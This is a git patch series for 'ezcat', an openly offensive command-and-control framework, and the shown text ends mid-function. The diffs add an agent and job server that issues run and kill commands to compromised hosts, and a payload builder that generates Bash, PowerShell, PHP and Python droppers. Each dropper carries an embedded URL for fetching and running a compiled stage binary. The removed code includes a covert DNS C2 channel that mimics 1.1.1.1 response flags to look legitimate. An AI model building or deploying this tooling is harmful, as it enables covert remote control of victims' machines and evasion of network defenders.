From f7bce6be0be7f60b64150494f499fd4742a9ad9e Mon Sep 17 00:00:00 2001 From: ngn Date: Wed, 30 Oct 2024 17:48:39 +0000 Subject: [PATCH 1/6] remove the notice for migration --- README.md | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/README.md b/README.md index e9d1a6b..5acd802 100644 --- a/README.md +++ b/README.md @@ -3,14 +3,10 @@ https://github.com/ngn13/ezcat/assets/78868991/75c3c7c5-6768-47e4-9ef1-0a9e66710 --- -> [!NOTE] -> I'm migrating the agent communication from DNS to TCP because there is really no reason to use DNS -> since the reverse shell connection goes over plain TCP anyway, [see this PR](https://github.com/ngn13/ezcat/pull/82) - ### 📋 Features - Easy to install - Simple web interface -- Agent communication over DNS +- Agent communication over TCP - Receive TCP reverse shells - Linux & Windows support - Self deletion because why not From 2ba2bfead3f4df400265e265c80efbb27f1ded23 Mon Sep 17 00:00:00 2001 From: ngn Date: Wed, 20 Nov 2024 22:22:32 +0300 Subject: [PATCH 2/6] cleaning up the server code --- server/.gitignore | 2 +- server/Makefile | 18 ++ server/agent/agent.go | 255 +++++------------------ server/agent/headers.go | 45 ---- server/agent/job.go | 17 ++ server/agent/list.go | 99 +++++++++ server/agent/protocol.go | 140 ------------- server/agent/request.go | 60 ------ server/agent/response.go | 39 ---- server/agent/server.go | 174 ---------------- server/agent/util.go | 113 ---------- server/builder/builder.go | 114 ++++++++++ server/builder/payload.go | 86 ++++++++ server/builder/stage.go | 52 +++++ server/builder/target.go | 45 ++++ server/c2/packet.go | 11 + server/c2/server.go | 85 ++++++++ server/config/config.go | 140 +++++++++---- server/global/agent.go | 4 +- server/global/config.go | 13 -- server/global/len.go | 4 +- server/jobs/jobs.go | 44 ---- server/log/log.go | 24 +-- server/main.go | 140 ++++++++----- server/payload/payload.go | 144 ------------- server/payload/stage.go | 123 ----------- server/payload/target.go | 45 ---- server/routes/agents.go | 151 +++++++------- server/routes/api.go | 16 ++ server/routes/auth.go | 74 +++++++ server/routes/info.go | 14 +- server/routes/job.go | 48 +++-- server/routes/login.go | 28 --- server/routes/logout.go | 11 - server/routes/payload.go | 91 ++++---- server/routes/stage.go | 27 ++- server/routes/token.go | 40 ---- server/util/util.go | 428 ++++++++++++++++++-------------------- server/util/web.go | 36 ++++ 39 files changed, 1283 insertions(+), 1717 deletions(-) create mode 100644 server/Makefile delete mode 100644 server/agent/headers.go create mode 100644 server/agent/job.go create mode 100644 server/agent/list.go delete mode 100644 server/agent/protocol.go delete mode 100644 server/agent/request.go delete mode 100644 server/agent/response.go delete mode 100644 server/agent/server.go delete mode 100644 server/agent/util.go create mode 100644 server/builder/builder.go create mode 100644 server/builder/payload.go create mode 100644 server/builder/stage.go create mode 100644 server/builder/target.go create mode 100644 server/c2/packet.go create mode 100644 server/c2/server.go delete mode 100644 server/global/config.go delete mode 100644 server/jobs/jobs.go delete mode 100644 server/payload/payload.go delete mode 100644 server/payload/stage.go delete mode 100644 server/payload/target.go create mode 100644 server/routes/api.go create mode 100644 server/routes/auth.go delete mode 100644 server/routes/login.go delete mode 100644 server/routes/logout.go delete mode 100644 server/routes/token.go create mode 100644 server/util/web.go diff --git a/server/.gitignore b/server/.gitignore index a75b65f..1132172 100644 --- a/server/.gitignore +++ b/server/.gitignore @@ -1,2 +1,2 @@ -server +*.elf data/ diff --git a/server/Makefile b/server/Makefile new file mode 100644 index 0000000..670ec20 --- /dev/null +++ b/server/Makefile @@ -0,0 +1,18 @@ +GOSRCS = $(shell find . -type f -name '*.go') +CGO_ENABLED = 1 + +all: ezcat.elf + +ezcat.elf: $(GOSRCS) + CGO_ENABLED=$(CGO_ENABLED) go build -o $@ + +format: + gofmt -s -w . + +clean: + rm *.elf + +debug: + EZCAT_DEBUG=1 ./ezcat.elf + +.PHONY: format clean debug diff --git a/server/agent/agent.go b/server/agent/agent.go index 125ed8e..ea25f7e 100644 --- a/server/agent/agent.go +++ b/server/agent/agent.go @@ -1,230 +1,71 @@ package agent import ( - "fmt" - "strconv" - "strings" + "math/rand" "time" - - "github.com/ngn13/ezcat/server/global" - "github.com/ngn13/ezcat/server/jobs" - "github.com/ngn13/ezcat/server/log" - "github.com/ngn13/ezcat/server/util" ) -type Work struct { - Session string - Job *jobs.Job - - Command byte - Argument string - Response string - Waiting bool - Success bool - Callback func(*Work) -} +const AGENT_SLEEP_MAX = 15 type Agent struct { - Username string - Hostname string - Kernel string - PID int - IP string - - Lastcon time.Time - Active bool - - Session string // SESSION_LEN - ID string // ID_LEN - - Request *Request - Work []Work -} - -type Data struct { - Username string `json:"username"` - Hostname string `json:"hostname"` - Kernel string `json:"kernel"` - PID int `json:"pid"` - IP string `json:"ip"` - ID string `json:"id"` // not really the "ID", its the session -} - -var List []Agent - -func InfoCallback(w *Work) { - if !w.Success { - log.Err("Failed to get info from the agent: %s", w.Response) - jobs.Del(w.Job.ID) - return - } - - var err error - - data := strings.Split(w.Response, "@") - agent := Get(w.Session) - - if len(data) != 4 { - log.Debug("Bad info data from %s", agent.ID) - log.Debug(w.Response) - return - } - - agent.Username = data[0] - agent.Hostname = data[1] - agent.Kernel = data[2] - - agent.PID, err = strconv.Atoi(data[3]) - if err != nil { - agent.PID = -1 - } - - jobs.Del(w.Job.ID) -} - -func DefaultCallack(w *Work){ - w.Job.Message = w.Response - w.Job.Active = false -} - -func New(id string) *Agent { - agent := Agent{ - ID: id, - Session: util.MakeRandom(global.SESSION_LEN), - - Active: true, - Lastcon: time.Now(), - - Username: "", - Hostname: "", - Kernel: "", - IP: "", - - Request: nil, - } - - agent.AddWork(RES_INFO, "plz", InfoCallback) - List = append(List, agent) - return &List[len(List)-1] -} - -func Get(sess string) *Agent { - for i := range List { - if List[i].Session == sess { - return &List[i] - } - } - return nil -} - -func Clean() { - for i := range List { - cur := &List[i] - if time.Since(cur.Lastcon) > time.Second*time.Duration(global.SLEEP_MAX+5) { - cur.Deactivate() - } - } -} - -func (a *Agent) IsEnd() bool { - if(a.Request == nil){ - return true - } - return a.Request.End -} + Session uint32 `json:"session"` -func (a *Agent) NewRequest(r *Request) error { - a.Lastcon = time.Now() - a.Active = true + // sysem info + Username string `json:"username"` + Hostname string `json:"hostname"` + PID int32 `json:"pid"` + OS string `json:"os"` + IP string `json:"ip"` - if a.IsEnd() && r.Command != REQ_CONTINUE { - a.Request = r - return nil - } + LastCon time.Time `json:"last_con"` // what was the last connection time + Conneceted bool `json:"-"` // is it currently connected + ShouldKill bool `json:"-"` - if r.Command != REQ_CONTINUE { - return fmt.Errorf("invalid order") - } - - a.Request.Argument += r.Argument - a.Request.End = r.End - return nil + Job []Job `json:"-"` } -func (a *Agent) GetWork() *Work { - for i := range a.Work { - if a.Work[i].Waiting { - return &a.Work[i] - } - } - return nil -} - -func (a *Agent) AddWork(cmd byte, arg string, callback func(*Work)) *Work { - job := jobs.Add("Waiting for response from the agent") - if callback == nil { - callback = DefaultCallack - } +func (a *Agent) UpdateConnected() { + cur := time.Now() + a.Conneceted = false - a.Work = append(a.Work, Work{ - Session: a.Session, - Job: job, + if a.ShouldKill { + return + } - Command: cmd, - Argument: arg, - Response: "", - Waiting: true, - Callback: callback, - }) - - return &a.Work[len(a.Work)-1] + if diff := cur.Sub(a.LastCon); diff.Seconds() < AGENT_SLEEP_MAX { + a.Conneceted = true + } } -func (a *Agent) HandleWork() { - for i := range a.Work { - if !a.Work[i].Waiting { - a.Work[i].Job.Success = a.Work[i].Success - a.Work[i].Callback(&a.Work[i]) - } - } +func (a *Agent) AddJob(cmd byte, arg string, cb func(*Job)) *Job { + job := Job{ + ID: rand.Uint32(), + Command: cmd, + Waiting: true, + Success: false, + Argument: arg, + Callback: cb, + } + + a.Job = append(a.Job, job) + return &a.Job[len(a.Job)-1] } -func (a *Agent) DelWork(w *Work) { - for i := range a.Work { - if &a.Work[i] != w { - continue - } - a.Work = append(a.Work[:i], a.Work[i+1:]...) - return - } -} +func (a *Agent) GetJob(id uint32) *Job { + for i := range a.Job { + if a.Job[i].ID == id { + return &a.Job[i] + } + } -func (a *Agent) Data() Data { - return Data{ - Username: a.Username, - Hostname: a.Hostname, - Kernel: a.Kernel, - PID: a.PID, - IP: a.IP, - ID: a.Session, - } + return nil } -func (a *Agent) Deactivate() { - a.Active = false - a.Request = nil - - for i := range a.Work { - cur := a.Work[i] - if !cur.Waiting { - continue - } - - cur.Waiting = false - cur.Job.Active = false - cur.Job.Success = false - cur.Job.Message = "Agent is not active" - } - - a.Work = []Work{} +func (a *Agent) DelJob(id uint32) { + for i := range a.Job { + if a.Job[i].ID == id { + a.Job = append(a.Job[:i], a.Job[i+1:]...) + return + } + } } diff --git a/server/agent/headers.go b/server/agent/headers.go deleted file mode 100644 index 3fe0ea1..0000000 --- a/server/agent/headers.go +++ /dev/null @@ -1,45 +0,0 @@ -package agent - -// Struct and vars based on RFC 1035 - -// 2.3.4. Size limits -var ( - LABEL_LIMIT int = 63 - NAME_LIMIT int = 255 - UDP_LIMIT int = 512 -) - -type DNS_Packet struct { - Header DNS_Header - Questions []DNS_QD - Answers []DNS_RR - Authorities []DNS_RR - Additionals []DNS_RR -} - -// 4.1.1. Header section format -type DNS_Header struct { - ID uint16 // Transaction ID (16 bits) - Flags uint16 // Flags (16 bits) - QDCount uint16 // Question Count (16 bits) - ANCount uint16 // Answer Count (16 bits) - NSCount uint16 // Authority Count (16 bits) - ARCount uint16 // Additional Info Count (16 bits) -} - -// 4.1.2. Question section format -type DNS_QD struct { - Qname []string - Qtype uint16 - Qclass uint16 -} - -// 4.1.3. Resource record format -type DNS_RR struct { - Name []string - Type uint16 - Class uint16 - TTL uint32 - RDLength uint16 - RData []byte -} diff --git a/server/agent/job.go b/server/agent/job.go new file mode 100644 index 0000000..6a86f58 --- /dev/null +++ b/server/agent/job.go @@ -0,0 +1,17 @@ +package agent + +const ( + CMD_RUN byte = 'R' + CMD_KILL byte = 'K' +) + +type Job struct { + ID uint32 `json:"id"` + Command byte `json:"cmd"` + Waiting bool `json:"waiting"` + Success bool `json:"success"` + Argument string `json:"argument"` + Response string `json:"response"` + Callback func(*Job) `json:"-"` + Agent *Agent `json:"-"` +} diff --git a/server/agent/list.go b/server/agent/list.go new file mode 100644 index 0000000..9fc3b2b --- /dev/null +++ b/server/agent/list.go @@ -0,0 +1,99 @@ +package agent + +import ( + "math/rand" + "time" + "unsafe" +) + +type List []Agent + +func (l *List) add(agent Agent) { + agent_list := *((*[]Agent)(unsafe.Pointer(l))) + agent_list = append(agent_list, agent) +} + +func (l *List) len() int { + agent_list := *((*[]Agent)(unsafe.Pointer(l))) + return len(agent_list) +} + +func (l *List) get(i int) *Agent { + agent_list := *((*[]Agent)(unsafe.Pointer(l))) + return &agent_list[i] +} + +func (l *List) del(i int) { + agent_list := *((*[]Agent)(unsafe.Pointer(l))) + agent_list = append(agent_list[:i], agent_list[i+1:]...) +} + +func (l *List) New() *Agent { + agent := Agent{ + Session: rand.Uint32(), + LastCon: time.Now(), + Conneceted: true, + } + + l.add(agent) + return l.get(l.len() - 1) +} + +func (l *List) Find(s uint32) *Agent { + for i := 0; i < l.len(); i++ { + if cur := l.get(i); cur.Session == s { + return cur + } + } + + return nil +} + +func (l *List) Remove(s uint32) { + for i := 0; i < l.len(); i++ { + if cur := l.get(i); cur.Session == s { + l.del(i) + return + } + } +} + +func (l *List) Update() { + var ( + ids []uint32 + cur *Agent + ) + + for i := 0; i < l.len(); i++ { + cur = l.get(i) + cur.UpdateConnected() + + if !cur.Conneceted { + ids = append(ids, cur.Session) + } + } + + for _, id := range ids { + l.Remove(id) + } +} + +func (l *List) GetJob(id uint32) (job *Job) { + var cur *Agent + + for i := 0; i < l.len(); i++ { + cur = l.get(i) + + if job = cur.GetJob(id); job != nil { + return job + } + } + + return nil +} + +func (l *List) DelJob(id uint32) { + for i := 0; i < l.len(); i++ { + l.get(i).DelJob(id) + } +} diff --git a/server/agent/protocol.go b/server/agent/protocol.go deleted file mode 100644 index 42df252..0000000 --- a/server/agent/protocol.go +++ /dev/null @@ -1,140 +0,0 @@ -package agent - -import ( - "net" - - "github.com/ngn13/ezcat/server/log" - "github.com/ngn13/ezcat/server/payload" -) - -var ( - SECTION_COUNT int = 4 - FIRST_SECTION_LEN int = 62 - SECOND_SECTION_LEN int = 1 - THIRD_SECTION_LEN int = 1 - ARGUMENT_LEN int = 63 -) - -func ProtocolHandle(client *net.UDPAddr, data []string) (string, error) { - req, err := RequestParse(data) - if err != nil { - return "", err - } - - if payload.StageGet(req.ID) == "" { - return ResponseDump(&Response{ - Command: RES_FAIL, - Argument: "Invalid ID", - }) - } - - agent := Get(req.Session) - - if agent == nil && req.Session == req.ID && req.Command == REQ_REGISTER { - agent = New(req.ID) - log.Debug("New agent with ID: %s and Session: %s", agent.ID, agent.Session) - agent.IP = client.String() - - return ResponseDump(&Response{ - Command: RES_OK, - Argument: agent.Session, - }) - } - - if agent == nil { - return ResponseDump(&Response{ - Command: RES_FAIL, - Argument: "Agent not registered", - }) - } - - err = agent.NewRequest(req) - - if err != nil { - log.Debug("Failed to add new request to agent: %s", err.Error()) - return ResponseDump(&Response{ - Command: RES_FAIL, - Argument: err.Error(), - }) - } - - if agent.IsEnd() { - return ProtocolHandleAgent(agent) - } - - return "", nil -} - -func ProtocolHandleAgent(agent *Agent) (string, error) { - req := agent.Request - - switch req.Command { - case REQ_REGISTER: - return ResponseDump(&Response{ - Command: RES_FAIL, - Argument: "Already registered", - }) - - case REQ_WORK: - work := agent.GetWork() - if nil == work { - return ResponseDump(&Response{ - Command: RES_NOTNOW, - Argument: "Ask again", - }) - } - - return ResponseDump(&Response{ - Command: work.Command, - Argument: work.Argument, - }) - - case REQ_DONE: - work := agent.GetWork() - if work == nil { - log.Debug("%s says it completed a work that does not exists, maybe the packet was delayed?", agent.ID) - - return ResponseDump(&Response{ - Command: RES_FAIL, - Argument: "What are you talking about?", - }) - } - - work.Response = agent.Request.Argument - work.Success = true - work.Waiting = false - - agent.HandleWork() - agent.DelWork(work) - - return ResponseDump(&Response{ - Command: RES_OK, - Argument: "Good job", - }) - - case REQ_FAIL: - work := agent.GetWork() - if work == nil { - log.Debug("%s says it failed a work that does not exists, maybe the packet was delayed?", agent.ID) - - return ResponseDump(&Response{ - Command: RES_FAIL, - Argument: "What are you talking about?", - }) - } - - work.Response = agent.Request.Argument - work.Success = false - work.Waiting = false - - agent.HandleWork() - agent.DelWork(work) - - return ResponseDump(&Response{ - Command: RES_OK, - Argument: "Damn thats unfortunate", - }) - } - - return "", nil -} diff --git a/server/agent/request.go b/server/agent/request.go deleted file mode 100644 index 3c4e8ef..0000000 --- a/server/agent/request.go +++ /dev/null @@ -1,60 +0,0 @@ -package agent - -import ( - "fmt" - - "github.com/ngn13/ezcat/server/global" - "github.com/ngn13/ezcat/server/util" -) - -// 31 31 1 1 max 63 -// ==== ========= ========= ===== ========== -// request: [id] [session] . [command] . [end] . [argument] - -type Request struct { - ID string - Session string - Command byte - End bool - Argument string -} - -var ( - REQ_REGISTER byte = 'R' - REQ_CONTINUE byte = 'C' - REQ_WORK byte = 'W' - REQ_DONE byte = 'D' - REQ_FAIL byte = 'F' -) - -func RequestParse(sections []string) (*Request, error) { - if len(sections) != SECTION_COUNT { - return nil, fmt.Errorf("not a valid request (section count: %d != %d)", len(sections), SECTION_COUNT) - } - - if len(sections[0]) != FIRST_SECTION_LEN { - return nil, fmt.Errorf("not a valid request (first section length: %d != %d)", len(sections[0]), FIRST_SECTION_LEN) - } - - if len(sections[1]) != SECOND_SECTION_LEN { - return nil, fmt.Errorf("not a valid request (second section length: %d != %d)", len(sections[1]), SECOND_SECTION_LEN) - } - - if len(sections[2]) != THIRD_SECTION_LEN { - return nil, fmt.Errorf("not a valid request (third section length: %d != %d)", len(sections[2]), THIRD_SECTION_LEN) - } - - if len(sections[3]) > ARGUMENT_LEN { - return nil, fmt.Errorf("not a valid request (argument is too large: %d > %d)", len(sections[3]), ARGUMENT_LEN) - } - - var req Request = Request{ - ID: util.Rot13(sections[0][:global.ID_LEN]), - Session: util.Rot13(sections[0][FIRST_SECTION_LEN-global.SESSION_LEN:]), - Command: util.Rot13Byte(sections[1][0]), - End: util.Rot13(sections[2])=="1", - Argument: util.Rot13(sections[3]), - } - - return &req, nil -} diff --git a/server/agent/response.go b/server/agent/response.go deleted file mode 100644 index 2a93001..0000000 --- a/server/agent/response.go +++ /dev/null @@ -1,39 +0,0 @@ -package agent - -import ( - "fmt" - - "github.com/ngn13/ezcat/server/util" -) - -// 1 max 63 -// ========= ========== -// response: [command] [argument] - -type Response struct { - Command byte - Argument string -} - -var ( - RES_NOTNOW byte = 'N' - RES_FAIL byte = 'F' - RES_OK byte = 'K' - - RES_INFO byte = 'I' - CMD_INFO = RES_INFO - - RES_RUN byte = 'R' - CMD_RUN = RES_RUN - - RES_KILL byte = 'D' - CMD_KILL = RES_KILL -) - -func ResponseDump(res *Response) (string, error) { - if len(res.Argument) > ARGUMENT_LEN{ - return "", fmt.Errorf("not a valid response (argument is too large: %d > %d)", len(res.Argument), ARGUMENT_LEN) - } - - return util.Rot13(string(res.Command)+res.Argument), nil -} diff --git a/server/agent/server.go b/server/agent/server.go deleted file mode 100644 index ddadb5f..0000000 --- a/server/agent/server.go +++ /dev/null @@ -1,174 +0,0 @@ -package agent - -import ( - "bytes" - "encoding/binary" - "net" - - "github.com/ngn13/ezcat/server/global" - "github.com/ngn13/ezcat/server/log" -) - -type AgentServer struct{ - Conn *net.UDPConn -} - -func (s *AgentServer) Fail(client *net.UDPAddr, packet *DNS_Packet) { - response := DNS_Packet{ - Header: DNS_Header{ - ID: packet.Header.ID, - - // actual header flag from 1.1.1.1, so it looks more real - Flags: 33187, - // QR = R, Opcode = standart, AA = 0, TC = 0, RD = 1, RA = 1, Z = 0 - // answer is authenticated, non-auth is unacceptable - // reply code is 3 (Name Error - NXDOMAIN) - - QDCount: packet.Header.QDCount, - ANCount: 0, - NSCount: 0, - ARCount: 0, - }, - } - - response.Questions = append(response.Questions, packet.Questions...) - - buffer, err := UtilPacketToBuffer(&response) - if err != nil { - log.Debug("Failed to send response to %s: %s", client.String(), err.Error()) - return - } - - _, err = s.Conn.WriteToUDP(buffer.Bytes(), client) - if err != nil { - log.Debug("Failed to write response to %s: %s", client.String(), err.Error()) - } -} - -func (s *AgentServer) Response(client *net.UDPAddr, packet *DNS_Packet) { - qname := packet.Questions[0].Qname - res, err := ProtocolHandle(client, qname) - - if err != nil { - log.Debug("Failed to handle packet: %s", err.Error()) - return - } - - if res == "" { - return - } - - response := DNS_Packet{ - Header: DNS_Header{ - ID: packet.Header.ID, - - // again, actual header flag from 1.1.1.1, so it looks more real - Flags: 33152, - // QR = R, Opcode = standart, AA = 0, TC = 0, RD = 1, RA = 1, Z = 0 - // answer is authenticated, non-auth is unacceptable - // reply code is 0 (No Error) - - QDCount: packet.Header.QDCount, - ANCount: 0, - NSCount: 0, - ARCount: 0, - }, - } - - response.Questions = append(response.Questions, packet.Questions...) - - datasz := len(res) - data := new(bytes.Buffer) - - data.WriteByte(byte(datasz)) - data.Write([]byte(res)) - - response.Answers = append(response.Answers, DNS_RR{ - Name: response.Questions[0].Qname, - Type: 16, // TXT record - Class: 1, - TTL: 300, - RDLength: uint16(datasz+1), - RData: data.Bytes(), - }) - response.Header.ANCount++ - - buffer, err := UtilPacketToBuffer(&response) - if err != nil { - log.Debug("Failed to send response to %s: %s", client.String(), err.Error()) - return - } - - _, err = s.Conn.WriteToUDP(buffer.Bytes(), client) - if err != nil { - log.Debug("Failed to write response to %s: %s", client.String(), err.Error()) - } -} - -func (s *AgentServer) Handle(client *net.UDPAddr, req []byte) { - var ( - buffer *bytes.Buffer = bytes.NewBuffer(req) - packet DNS_Packet - err error - ) - - err = binary.Read(buffer, binary.BigEndian, &packet.Header) - if err != nil { - log.Debug("Failed to read DNS header from %s: %s", client.String(), err.Error()) - return - } - - log.Debug("Reading %d question(s)", packet.Header.QDCount) - packet.Questions = make([]DNS_QD, packet.Header.QDCount) - - for i := range packet.Questions { - packet.Questions[i].Qname, err = UtilReadQname(buffer) - if err != nil { - log.Debug("Failed to read question QNAME from %s: %s", client.String(), err.Error()) - return - } - - packet.Questions[i].Qtype = binary.BigEndian.Uint16(buffer.Next(2)) - packet.Questions[i].Qclass = binary.BigEndian.Uint16(buffer.Next(2)) - - log.Debug("Question: %s, %d, %d", - packet.Questions[i].Qname, - packet.Questions[i].Qtype, - packet.Questions[i].Qclass, - ) - } - - // packet should only have one question, or its not valid - // for the c2 protocol - if packet.Header.QDCount != 1 { - s.Fail(client, &packet) - return - } - - s.Response(client, &packet) -} - -func (s *AgentServer) Start(){ - var err error - - s.Conn, err = net.ListenUDP("udp", &net.UDPAddr{IP: net.IPv4zero, Port: global.CONFIG_AGENTPORT}) - if err != nil { - log.Err("Failed to create the agent server") - return - } - defer s.Conn.Close() - - log.Info("Agent server is running on port %d", global.CONFIG_AGENTPORT) - - for { - req := make([]byte, UDP_LIMIT) - reqsz, client, err := s.Conn.ReadFromUDP(req) - if err != nil { - log.Err("Failed to read from agent server: %s", err.Error()) - continue - } - - log.Debug("Received %d bytes from %s", reqsz, client.String()) - go s.Handle(client, req) - } -} diff --git a/server/agent/util.go b/server/agent/util.go deleted file mode 100644 index 16f1dcc..0000000 --- a/server/agent/util.go +++ /dev/null @@ -1,113 +0,0 @@ -package agent - -import ( - "bytes" - "encoding/binary" - "fmt" -) - -func UtilReadQname(buffer *bytes.Buffer) ([]string, error) { - var labels []string - var res string = "" - c, err := buffer.ReadByte() - - for ; err == nil && int(c) > 0; c, err = buffer.ReadByte() { - label_len := int(c) - - if label_len > LABEL_LIMIT { - return labels, fmt.Errorf("illegal label size (%d)", label_len) - } - - if len(res)+label_len > NAME_LIMIT { - return labels, fmt.Errorf("illegal name size (%d)", len(res)+label_len) - } - - part := string(buffer.Next(label_len)) - labels = append(labels, part) - - if res == "" { - res = part - continue - } - - res += "." + part - } - - return labels, err -} - -func UtilWriteQname(buffer *bytes.Buffer, qname []string) error { - var total int = 0 - - for _, p := range qname { - label_len := len(p) - if label_len > LABEL_LIMIT { - return fmt.Errorf("illegal label size") - } - - total += label_len - - if total > NAME_LIMIT { - return fmt.Errorf("illegal name size") - } - - buffer.WriteByte(byte(label_len)) - buffer.Write([]byte(p)) - } - - buffer.WriteByte(byte(0)) - return nil -} - -func UtilWriteRR(buffer *bytes.Buffer, rr *DNS_RR) error { - err := UtilWriteQname(buffer, rr.Name) - if err != nil { - return err - } - - binary.Write(buffer, binary.BigEndian, rr.Type) - binary.Write(buffer, binary.BigEndian, rr.Class) - binary.Write(buffer, binary.BigEndian, rr.TTL) - binary.Write(buffer, binary.BigEndian, rr.RDLength) - binary.Write(buffer, binary.BigEndian, rr.RData) - return nil -} - -func UtilPacketToBuffer(packet *DNS_Packet) (*bytes.Buffer, error) { - buffer := new(bytes.Buffer) - binary.Write(buffer, binary.BigEndian, packet.Header) - var i uint16 = 0 - - for i = 0; i < packet.Header.QDCount; i++ { - err := UtilWriteQname(buffer, packet.Questions[i].Qname) - if err != nil { - return nil, err - } - - binary.Write(buffer, binary.BigEndian, packet.Questions[i].Qtype) - binary.Write(buffer, binary.BigEndian, packet.Questions[i].Qclass) - } - - for i = 0; i < packet.Header.ANCount; i++ { - err := UtilWriteRR(buffer, &packet.Answers[i]) - if err != nil { - return nil, err - } - } - - for i = 0; i < packet.Header.NSCount; i++ { - err := UtilWriteRR(buffer, &packet.Authorities[i]) - if err != nil { - return nil, err - } - } - - for i = 0; i < packet.Header.ARCount; i++ { - err := UtilWriteRR(buffer, &packet.Additionals[i]) - if err != nil { - return nil, err - } - } - - return buffer, nil -} diff --git a/server/builder/builder.go b/server/builder/builder.go new file mode 100644 index 0000000..616ecc0 --- /dev/null +++ b/server/builder/builder.go @@ -0,0 +1,114 @@ +package builder + +import ( + "os" + "path" + + "github.com/ngn13/ezcat/server/config" + "github.com/ngn13/ezcat/server/util" +) + +const ID_LEN = 32 + +type Struct struct { + Config *config.Struct + Payloads []Payload + Builds []string +} + +type build struct { + ID string + Host string + Port uint16 + Target *Target + Payload *Payload +} + +func New(conf *config.Struct) (*Struct, error) { + var ( + builder Struct + entries []os.DirEntry + err error + ) + + builder = Struct{ + Config: conf, + Payloads: []Payload{ + // linux only + {Name: "Bash", OS: []Target{TARGET_LINUX}, Config: "src/main.sh", Output: "dist/main.sh"}, + + // windows only + {Name: "Powershell", OS: []Target{TARGET_WINDOWS}, Config: "src/main.ps1", Output: "dist/main.ps1"}, + + // both + {Name: "PHP", OS: TARGET_ALL, Config: "src/main.php", Output: "dist/main.php"}, + {Name: "Python", OS: TARGET_ALL, Config: "src/main.py", Output: "dist/main.py"}, + }, + } + + if entries, err = os.ReadDir(conf.DistDir); err != nil && !os.IsNotExist(err) { + return nil, err + } + + for _, e := range entries { + builder.Builds = append(builder.Builds, e.Name()) + } + + return &builder, nil +} + +func (s *Struct) GetPayload(name string) *Payload { + for i := range s.Payloads { + if s.Payloads[i].Name == name { + return &s.Payloads[i] + } + } + + return nil +} + +func (s *Struct) GetStage(id string) string { + for _, i := range s.Builds { + if i == id { + return "" + } + } + + return path.Join(s.Config.DistDir, id) +} + +func (s *Struct) Create(payload *Payload, target *Target, address string) (string, error) { + var ( + res string + host string + port uint16 + err error + ) + + // parse the address + if host, port, err = util.ParseAddr(address); err != nil { + return "", err + } + + // create the build configuration + build := build{ + ID: util.MakeRandom(ID_LEN), + Host: host, + Port: port, + Target: target, + Payload: payload, + } + + // build the payload + if res, err = s.buildPayload(&build); err != nil { + return "", err + } + + // build the stage + if err = s.buildStage(&build); err != nil { + return "", err + } + + s.Builds = append(s.Builds, build.ID) + return res, nil +} diff --git a/server/builder/payload.go b/server/builder/payload.go new file mode 100644 index 0000000..0602f43 --- /dev/null +++ b/server/builder/payload.go @@ -0,0 +1,86 @@ +package builder + +import ( + "fmt" + "os" + "path" + "strings" + + "github.com/ngn13/ezcat/server/log" + "github.com/ngn13/ezcat/server/util" +) + +type Payload struct { + Name string `json:"name"` + Config string `json:"config"` + Output string `json:"output"` + OS []Target `json:"os"` +} + +func (p *Payload) SupportsTarget(target *Target) bool { + for i := range p.OS { + if p.OS[i].CodeName() == target.CodeName() { + return true + } + } + + return false +} + +func (p *Payload) Supports(oscode string) *Target { + var target *Target + + if target = TargetByCode(oscode); target == nil { + return nil + } + + if p.SupportsTarget(target) { + return target + } + + return nil +} + +func (p *Struct) buildPayload(b *build) (string, error) { + if !b.Payload.SupportsTarget(b.Target) { + return "", fmt.Errorf("target is not supported by the payload") + } + + payloaddir := path.Join(p.Config.PayloadDir, strings.ToLower(b.Payload.Name)) + builddir := path.Join("/tmp", "ezcat_payload_"+b.ID) + + if err := util.CopySimple(builddir, payloaddir); err != nil { + return "", err + } + + config_file := path.Join(builddir, b.Payload.Config) + config_data, err := os.ReadFile(config_file) + + if err != nil { + return "", err + } + + config_url := fmt.Sprintf("http://%s:%d/%s", b.Host, b.Port, b.ID) + config_edited := strings.ReplaceAll(string(config_data), "#URL#", config_url) + + if err = os.WriteFile(config_file, []byte(config_edited), os.ModePerm); err != nil { + return "", err + } + + if out, err := util.RunBuild(builddir, b.Target.CodeName(), nil); err != nil { + log.Fail("failed to run the build command for the payload:\n=====\n%s%s\n=====", out, err.Error()) + return "", fmt.Errorf("failed to run the build: %s", err.Error()) + } + + res, err := os.ReadFile(path.Join(builddir, b.Payload.Output)) + + if err != nil { + return "", err + } + + if res[len(res)-1] == '\n' { + res = res[:len(res)-1] + } + + return string(res), nil +} diff --git a/server/builder/stage.go b/server/builder/stage.go new file mode 100644 index 0000000..c556c28 --- /dev/null +++ b/server/builder/stage.go @@ -0,0 +1,52 @@ +package builder + +import ( + "fmt" + "os" + "path" + + "github.com/ngn13/ezcat/server/log" + "github.com/ngn13/ezcat/server/util" +) + +var ( + STAGE_CONFIG = path.Join("src", "config.h") + STAGE_OUTPUT = "stage" +) + +func (s *Struct) buildStage(b *build) (err error) { + stagedir := path.Join(s.Config.PayloadDir, "stage") + builddir := path.Join("/tmp", "ezcat_stage_"+b.ID) + + if err = util.CopySimple(builddir, stagedir); err != nil { + return fmt.Errorf("failed to copy stage dir: %s", err.Error()) + } + + options := map[string]string{ + "ID": b.ID, + "SERVER_HOST": b.Host, + "SERVER_PORT": fmt.Sprintf("%d", b.Port), + } + + if s.Config.Debug { + options["DEBUG"] = "1" + } + + if out, err := util.RunBuild(builddir, b.Target.CodeName(), options); err != nil { + log.Fail("failed to run the build command for the stage:\n=====\n%s\n=====", out) + return fmt.Errorf("failed to run the build: %s", err.Error()) + } + + if err = os.Mkdir(s.Config.DistDir, 0777); err != nil && !os.IsExist(err) { + return err + } + + dst := path.Join(s.Config.DistDir, b.ID) + src := path.Join(builddir, STAGE_OUTPUT) + + if err = util.CopyFile(dst, src); err != nil { + return err + } + + return nil +} diff --git a/server/builder/target.go b/server/builder/target.go new file mode 100644 index 0000000..5e0c23a --- /dev/null +++ b/server/builder/target.go @@ -0,0 +1,45 @@ +package builder + +import ( + "fmt" + "strings" +) + +type Target struct { + Name string `json:"name"` + Arch string `json:"arch"` +} + +var ( + TARGET_LINUX = Target{ + Name: "Linux", + Arch: "amd64", + } + + TARGET_WINDOWS = Target{ + Name: "Windows", + Arch: "amd64", + } + + TARGET_ALL = []Target{ + TARGET_LINUX, TARGET_WINDOWS, + } +) + +func (t *Target) PrettyName() string { + return fmt.Sprintf("%s (%s)", t.Name, t.Arch) +} + +func (t *Target) CodeName() string { + return fmt.Sprintf("%s_%s", + strings.ToLower(t.Name), strings.ToLower(t.Arch)) +} + +func TargetByCode(cn string) *Target { + for i := range TARGET_ALL { + if TARGET_ALL[i].CodeName() == cn { + return 